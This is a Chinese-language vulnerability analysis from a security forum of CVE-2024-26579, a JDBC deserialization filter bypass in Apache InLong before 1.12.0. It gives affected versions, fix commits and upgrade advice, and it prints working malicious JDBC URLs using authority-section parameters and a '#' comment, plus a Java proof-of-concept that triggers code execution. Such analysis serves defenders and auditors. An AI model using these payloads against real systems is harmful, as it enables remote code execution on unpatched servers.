奇安信攻防社区-Apache InLong < 1.12.0 JDBC反序列化漏洞（CVE-2024-26579）浅析

Apache InLong < 1.12.0 JDBC反序列化漏洞（CVE-2024-26579）浅析

Apache InLong 是开源的高性能数据集成框架，支持数据接入、数据同步和数据订阅，同时支持批处理和流处理，方便业务构建基于流式的数据分析、建模和应用。浅析Apache InLong < 1.12.0 JDBC反序列化漏洞（CVE-2024-26579）

0x00 前言
=======

Apache InLong 是开源的高性能数据集成框架，支持数据接入、数据同步和数据订阅，同时支持批处理和流处理，方便业务构建基于流式的数据分析、建模和应用。

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-fa124df02a96416110f5272f93a55d2de4d140e6.png)

0x01 CVE-2024-26579
===================

在受影响版本中，由于 MySQLSensitiveUrlUtils 类只限制了?形式的JDBC连接字符串参数，攻击者可通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数。并通过#注释后续内容，绕过从而此前修复过滤逻辑，在连接攻击者可控的服务地址时，攻击者可利用该漏洞远程执行任意代码。

1.1 影响范围
--------

- org.apache.inlong:inlong-manager@\[1.7.0, 1.12.0)

1.2 修复方案
--------

- 将组件 org.apache.inlong:inlong-manager 升级至 1.12.0 及以上版本

0x02 漏洞分析与复现
============

以1.11.0版本为例。结合历史漏洞，一般是通过org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口进行利用：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-f7c14bf15810d7c06ea0f39fe361976a9acfef5e.png)

实际上调用的是org.apache.inlong.manager.service.node.starrocks.StarRocksDataNodeOperator#testConnection：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7927f30c3e694afb7a8be01318cb0f0c67e1e5e7.png)

这里首先会通过org.apache.inlong.manager.pojo.node.starrocks.StarRocksDataNodeDTO#convertToJdbcUrl方法对用户传递的jdbcUrl进行一定的处理：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-8ad51a91af82c6be69cf423c2b5821284fd42a0f.png)

本质上是通过org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive对恶意的内容进行处理,包括一些历史的绕过CVE也是在该方法进行修复处理的：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-62b28fb4f3c045361f6fcbe837401070e54716d4.png)

例如CVE-2023-46227只对用户输入的 jdbc url 参数中的空格做了过滤，没有对其他空白字符过滤。具备 InLong Web 端登陆权限的攻击者可以使用\\t绕过对 jdbc url 中autoDeserialize、allowUrlInLocalInfile、allowLoadLocalInfileInPath参数的检测，进而在MySQL客户端造成任意代码执行、任意文件读取等危害。在filterSensitive方法中也可以看到对应修复的痕迹：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-9a379559c256fb7ea45c9dd9c1c514d4871a5114.png)

最终在org.apache.inlong.manager.service.resource.sink.starrocks.StarRocksJdbcUtils#getConnection尝试进行连接。

本质上CVE-2024-26579也是filterSensitive方法的绕过，下面分析具体的绕过过程：

2.1 现有防护措施
----------

首先看看1.11.0版本org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive具体的防护措施。主要思路是是从给定的 URL 中过滤掉敏感参数。

在非空判断后，使用 `URLDecoder.decode` 方法循环解码 URL，直到没有百分号编码的字符（`InlongConstants.PERCENT`）为止：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d61b3f51c2484952ca67a20c8102549a6215b10d.png)

然后通过正则表达式 `InlongConstants.REGEX_WHITESPACE` 移除 URL 中的所有空白字符：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-ec52fba7b8c35fb66c54c87e0aab12b3019ca793.png)

检查处理后的 URL 是否包含问号`InlongConstants.QUESTION_MARK`，如果存在参数部分，将其拆分为键值对:

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-2aee69a52e9ed99127b3cd0c4ce4dd71ae01bb88.png)

在这个过程中，会检查请求的参数是否在对应的Map中，如果是，则跳过该参数：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-1c9c1ae8aee6d9789e155b1e51bd56b46962dbd5.png)

并且将 `SENSITIVE_REPLACE_PARAM_MAP` 中的key-value添加到对应的参数列表中：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-ac0e63ed444c3b14cdc1e66cdc48b70aadb4c81b.png)

综上，Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理，同时考虑到了URL编码、空白符等绕过风险。

2.2 绕过方式
--------

之前也简单整理过Jdbc Attack防护绕过的思路，具体可见https://forum.butian.net/share/2771 。很明显漏洞影响版本的Apache InLong没有对`#`注释符进行额外的处理。从修复的commit（<https://github.com/apache/inlong/commit/a59a81425f4fd5ce601dc02b04f31a49e3eacbec> ）也可以看到确实新增了对`#`注释符的处理：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-57f04d795bea9d9d1bfc6bf92b75e8d6259e5bc9.png)

根据前面的分析，Apache InLong会通过在jdbcUrl尾部强行添加 autoDeserialize=false通过覆盖变量进行处理,这样即使攻击者在连接url中设置了autoDeserialize参数也会被覆盖掉。

而在mysql-connector-java-8.0.x的解析过程中，会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理，在parseConnectionString方法中，会通过正则捕获对应的内容：

```Java
private static final Pattern CONNECTION_STRING_PTRN = Pattern.compile("(?[\\w:%]+)\\s*(?://(?[^/?#]*))?\\s*(?:/(?!\\s*/)(?[^?#]*))?(?:\\?(?!\\s*\\?)(?[^#]*))?(?:\\s*#(?.*))?");
```

可知在匹配 URL 的查询参数部分时，使用 `(?\[^#\]\*)` 匹配查询参数，这里#充当了注释符的作用，在获取query时会将#后面的注释部分去掉。也就是说，**8.0.x版本实际上是支持通过注释符#来注释掉后面的内容的**。那么就可以通过#注释掉之后拼接的内容。

但是**仅仅通过`#`注释符是没办法进行利用的**，因为Apache InLong在处理时会检查请求的参数是否在对应的Map中，如果是，则跳过该参数。而这个参数是通过`?`处理得到的。即使#处理掉了Apache InLong拼接的额外内容，也没办法通过`?autoDeserialize=true`的方式写入恶意的参数。

实际上还有一处修复的commit（<https://github.com/apache/inlong/commit/eef8d05b0bf61ea60a7ea5dfd31010c0b2bf57a8> ）,这里多了一段字符串替换的逻辑：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-41255d8daeb8ec7c9766d68884d19122ecc61f2a.png)

这里会对经过解码和剔除空白符的url进行处理，遍历SENSITIVE\_REPLACE\_PARAM\_MAP的key，对类似`autoDeserialize=true`的内容替换成null。那么为什么要增加这段逻辑呢？

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-7cdb80bc8375b1561d5cc0c1de4e7e85489a29bc.png)

在对应的issues中翻到了这一条记录https://github.com/apache/inlong/issues/9689 ，从内容上大致可以看到是通过()规避?引入autoDeserialize、allowLoadLocalInfile等额外的参数：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-bb852d164f09f61ed91dd19eab08be5ea4e6ad02.png)

以mysql-connector-java-8.0.19.jar为例，查看具体的解析逻辑，若请求的jdbcUrl合法，则调用ConnectionUrl.getConnectionUrlInstance⽅法，这里会调用ConnectionUrlParser#parseConnectionString方法对传入的url进行进一步的处理，在parseConnectionString方法中，主要是通过正则捕获对应的内容：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-983e56745a15053c1140c858b5b6c86f65b553a4.png)

在getConnectionUrlInstance方法中，首先从 `parser` 中获取主机的列表大小：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-bea9daca69232d1115c254dd8f35f1a5eb0a087a.png)

这里会调用parseAuthoritySection方法进行解析：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-70f59fb9cdc15e329060d2254804b0ca41cc01da.png)

如果请求的`authority` 不为null，会调用parseAuthoritySegment进行处理：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-c767dd635c18d590617391fda8c2a032188ee4c2.png)

在parseAuthoritySegment方法中，会尝试使用不同的方法构建 `HostInfo` 对象：

- buildHostInfoForEmptyHost
- buildHostInfoResortingToUriParser
- buildHostInfoResortingToSubHostsListParser
- buildHostInfoResortingToKeyValueSyntaxParser
- buildHostInfoResortingToAddressEqualsSyntaxParser
- buildHostInfoResortingToGenericSyntaxParser

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-b618f9ab9180bb9aa89f29ba89dc3ee18d6f31ec.png)

最终完成 `HostInfo` 对象，同时`authority`中的参数也会作为请求的参数进行解析。

查看具体HostInfo的解析方式，发现buildHostInfoResortingToKeyValueSyntaxParser和buildHostInfoResortingToAddressEqualsSyntaxParser的解析都跟`()`有关，可以通过`()`来进行参数的传递：

```Java
final Pattern KEY_VALUE_HOST_PTRN = Pattern.compile("[,\\s]*(?<key>[\\w\\.\\-\\s%]*)(?:=(?<value>[^,]*))?");
private static final Pattern ADDRESS_EQUALS_HOST_PTRN = Pattern.compile("\\s*\\(\\s*(?<key>[\\w\\.\\-%]+)?\\s*(?:=(?<value>[^)]*))?\\)\\s*");
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-dad2f13d013e7533963c6375fe766f1d70fac9e4.png)

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-bee2e78af435e7525f74b93c95bd8628fde17138.png)

结合前面的分析，因为filterSensitive仅仅考虑了`?`传递参数的情况。结合mysql-connector-java的解析，可以通过在`authority`进行参数的传递，主要有如下两种方式：

- (键值对形式)

```text
jdbc:mysql://(host=127.0.0.1,port=54324,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,autoDeserialize=true)/test?
```

- address=(键值对形式)

```text
jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?
```

结合漏洞版本忽略了`#`注释的处理,在jdbc请求的url后追加`#`注释，即可绕过现有的安全防护。

验证前面的猜想，通过下面的代码模拟org.apache.inlong.manager.web.controller.DataNodeController#testConnection接口的调用过程,尝试进行绕过：

```Java
try {
    String url="jdbc:mysql://address=(host=127.0.0.1)(port=54324) (queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor)(autoDeserialize=true)/test?#";
    String jdbcURL= MySQLSensitiveUrlUtils.filterSensitive(url);
    Class.forName("com.mysql.cj.jdbc.Driver");
         DriverManager.getConnection(jdbcURL,"CB 1.9","");
} catch (Exception e) {
    e.printStackTrace();
}
```

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-83d5cec37e13ea80da26cb63b8c7fda02ea2ff16.png)

可以看到成功绕过了org.apache.inlong.manager.pojo.util.MySQLSensitiveUrlUtils#filterSensitive防护机制，执行了对应的命令：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-3edd4aace392fb7fc5cfa492729a9c542dc330cf.png)

`(键值对形式)`同理：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-d05c6d1bc72ce428f426f625a41e89baf1314ffa.png)

0x03 其他
=======

实际上官方文档也提及到上述所说的传递参数的方式https://dev.mysql.com/doc/connector-j/en/connector-j-reference-jdbc-url-format.html ，还有一些其他的例子：

![image.png](https://shs3.b.qianxin.com/attack_forum/2024/05/attach-0afaf7e2496f76a28e6ac6e10b25c7f8ce689561.png)

在实际业务场景中，一般针对JDBC Attack的防护主要分为两种：

- 支持jdbc连接串的直接传递，会将jdbc连接串按预置模板解析出对应的字段，然后再进行安全检查
- 不支持jdbc连接串的直接传递，但是host、用户名、密码、数据库名以及自定义的连接字符串这一系列输入可能通过StringBuilder#append进行拼接，最终合并成一个完成的jdbcUrl进行连接。在这个过程中对对应的字符进行检查

如果在实际防护中没有考虑到上述的传参方式的话，例如host字段可能没有限制具体的内容，还是会存在对应的安全风险的。在实际代码审计过程中可以额外关注。

发表于 2024-05-27 10:00:01
阅读 ( 15528 )
分类：漏洞分析

1 条评论

Msfcode 2024-05-27 12:56

补一个案例 https://github.com/advisories/GHSA-6p92-qfqf-qwx4